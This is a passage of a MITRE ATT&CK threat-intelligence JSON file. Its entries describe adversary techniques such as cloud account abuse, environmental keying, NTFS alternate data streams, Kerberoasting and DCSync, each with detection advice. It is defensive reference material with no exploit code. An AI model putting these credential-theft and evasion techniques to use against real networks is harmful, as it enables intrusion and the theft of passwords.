Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","created":"2020-03-13T20:36:57.378Z","x_mitre_version":"1.4","external_references":[{"source_name":"mitre-attack","external_id":"T1078.004","url":"https://attack.mitre.org/techniques/T1078/004"},{"source_name":"AWS Identity Federation","url":"https://aws.amazon.com/identity/federation/","description":"Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020."},{"source_name":"Google Federating GC","url":"https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction","description":"Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020."},{"source_name":"Microsoft Deploying AD Federation","url":"https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs","description":"Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.","modified":"2022-04-19T20:23:33.894Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Cloud Accounts","x_mitre_detection":"Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["User Account: User Account Authentication","Logon Session: Logon Session Metadata","Logon Session: Logon Session Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_effective_permissions":[],"x_mitre_defense_bypassed":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Nick Carr, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","type":"attack-pattern","created":"2020-06-23T22:28:28.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1480.001","url":"https://attack.mitre.org/techniques/T1480/001"},{"source_name":"EK Clueless Agents","url":"https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf","description":"Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019."},{"source_name":"Kaspersky Gauss Whitepaper","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf","description":"Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019."},{"source_name":"Proofpoint Router Malvertising","url":"https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices","description":"Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019."},{"source_name":"EK Impeding Malware Analysis","url":"https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf","description":"Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019."},{"source_name":"Environmental Keyed HTA","url":"https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/","description":"Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019."},{"source_name":"Ebowla: Genetic Malware","url":"https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf","description":"Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019."},{"source_name":"Demiguise Guardrail Router Logo","url":"https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js","description":"Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019."}],"modified":"2021-06-09T18:53:58.159Z","name":"Environmental Keying","description":"Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Anti-virus","Host forensic analysis","Signature-based detection","Static file analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","type":"attack-pattern","created":"2017-05-31T21:30:21.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1008","external_id":"T1008"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-07-14T19:49:47.340Z","name":"Fallback Channels","description":"Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oddvar Moe, @oddvarmoe","Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","type":"attack-pattern","created":"2020-03-13T20:33:00.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.004","url":"https://attack.mitre.org/techniques/T1564/004"},{"url":"https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea","description":"Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.","source_name":"SpectorOps Host-Based Jul 2017"},{"url":"https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/","description":"Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.","source_name":"Microsoft NTFS File Attributes Aug 2010"},{"url":"http://msdn.microsoft.com/en-us/library/aa364404","description":"Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.","source_name":"Microsoft File Streams"},{"url":"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/","description":"Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.","source_name":"MalwareBytes ADS July 2015"},{"url":"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/","description":"Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.","source_name":"Microsoft ADS Mar 2014"},{"url":"http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html","description":"Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.","source_name":"Journey into IR ZeroAccess NTFS EA"},{"url":"https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/","description":"Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.","source_name":"Oddvar Moe ADS1 Jan 2018"},{"url":"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/","description":"Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.","source_name":"Oddvar Moe ADS2 Apr 2018"},{"url":"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore","description":"Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.","source_name":"Symantec ADS May 2009"}],"modified":"2020-03-29T22:46:56.308Z","name":"NTFS File Attributes","description":"Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the <code>ZwSetEaFile</code> and <code>ZwQueryEaFile</code> Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Process: OS API Execution","File: File Metadata","Command: Command Execution"],"x_mitre_defense_bypassed":["Anti-virus","Host forensic analysis","Signature-based detection"],"x_mitre_system_requirements":["NTFS partitioned hard drive"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","type":"attack-pattern","created":"2020-02-11T18:43:38.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1558.003","url":"https://attack.mitre.org/techniques/T1558/003"},{"external_id":"CAPEC-509","source_name":"capec","url":"https://capec.mitre.org/data/definitions/509.html"},{"url":"https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1","description":"EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.","source_name":"Empire InvokeKerberoast Oct 2016"},{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"},{"url":"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/","description":"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.","source_name":"Microsoft Detecting Kerberoasting Feb 2018"},{"url":"https://msdn.microsoft.com/library/ms677949.aspx","description":"Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.","source_name":"Microsoft SPN"},{"url":"https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx","description":"Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.","source_name":"Microsoft SetSPN"},{"description":"Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.","source_name":"SANS Attacking Kerberos Nov 2014","url":"https://redsiege.com/kerberoast-slides"},{"url":"https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/","description":"Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.","source_name":"Harmj0y Kerberoast Nov 2016"}],"modified":"2022-03-08T21:52:42.405Z","name":"Kerberoasting","description":"Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Credential Request"],"x_mitre_system_requirements":["Valid domain account or the ability to sniff traffic within a domain"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Red Canary","Oddvar Moe, @oddvarmoe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d","type":"attack-pattern","created":"2017-05-31T21:31:11.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1096","url":"https://attack.mitre.org/techniques/T1096"},{"url":"https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea","description":"Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.","source_name":"SpectorOps Host-Based Jul 2017"},{"url":"https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/","description":"Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.","source_name":"Microsoft NTFS File Attributes Aug 2010"},{"url":"http://msdn.microsoft.com/en-us/library/aa364404","description":"Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.","source_name":"Microsoft File Streams"},{"url":"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/","description":"Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.","source_name":"MalwareBytes ADS July 2015"},{"url":"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/","description":"Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.","source_name":"Microsoft ADS Mar 2014"},{"url":"http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html","description":"Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.","source_name":"Journey into IR ZeroAccess NTFS EA"},{"url":"https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/","description":"Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.","source_name":"Oddvar Moe ADS1 Jan 2018"},{"url":"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/","description":"Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.","source_name":"Oddvar Moe ADS2 Apr 2018"},{"url":"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore","description":"Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.","source_name":"Symantec ADS May 2009"}],"modified":"2020-03-13T21:04:13.284Z","name":"NTFS File Attributes","description":"Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Signature-based detection","Host forensic analysis","Anti-virus"],"x_mitre_system_requirements":["NTFS partitioned hard drive"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ExtraHop","Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","type":"attack-pattern","created":"2020-02-11T18:45:34.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1003.006","url":"https://attack.mitre.org/techniques/T1003/006"},{"url":"https://msdn.microsoft.com/library/cc228086.aspx","description":"Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.","source_name":"Microsoft DRSR Dec 2017"},{"url":"https://msdn.microsoft.com/library/dd207691.aspx","description":"Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.","source_name":"Microsoft GetNCCChanges"},{"url":"https://wiki.samba.org/index.php/DRSUAPI","description":"SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.","source_name":"Samba DRSUAPI"},{"url":"https://source.winehq.org/WineAPI/samlib.html","description":"Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.","source_name":"Wine API samlib.dll"},{"url":"https://adsecurity.org/?p=1729","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.","source_name":"ADSecurity Mimikatz DCSync"},{"url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.","source_name":"Harmj0y Mimikatz and DCSync"},{"url":"https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM","description":"Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.","source_name":"InsiderThreat ChangeNTLM July 2017"},{"url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump","description":"Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.","source_name":"GitHub Mimikatz lsadump Module"},{"url":"https://msdn.microsoft.com/library/cc237008.aspx","description":"Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.","source_name":"Microsoft NRPC Dec 2017"},{"url":"https://msdn.microsoft.com/library/cc245496.aspx","description":"Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.","source_name":"Microsoft SAMR"},{"url":"https://adsecurity.org/?p=1729","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.","source_name":"AdSecurity DCSync Sept 2015"},{"url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.","source_name":"Harmj0y DCSync Sept 2015"}],"modified":"2021-04-22T20:20:14.595Z","name":"DCSync","description":"Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\n\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network 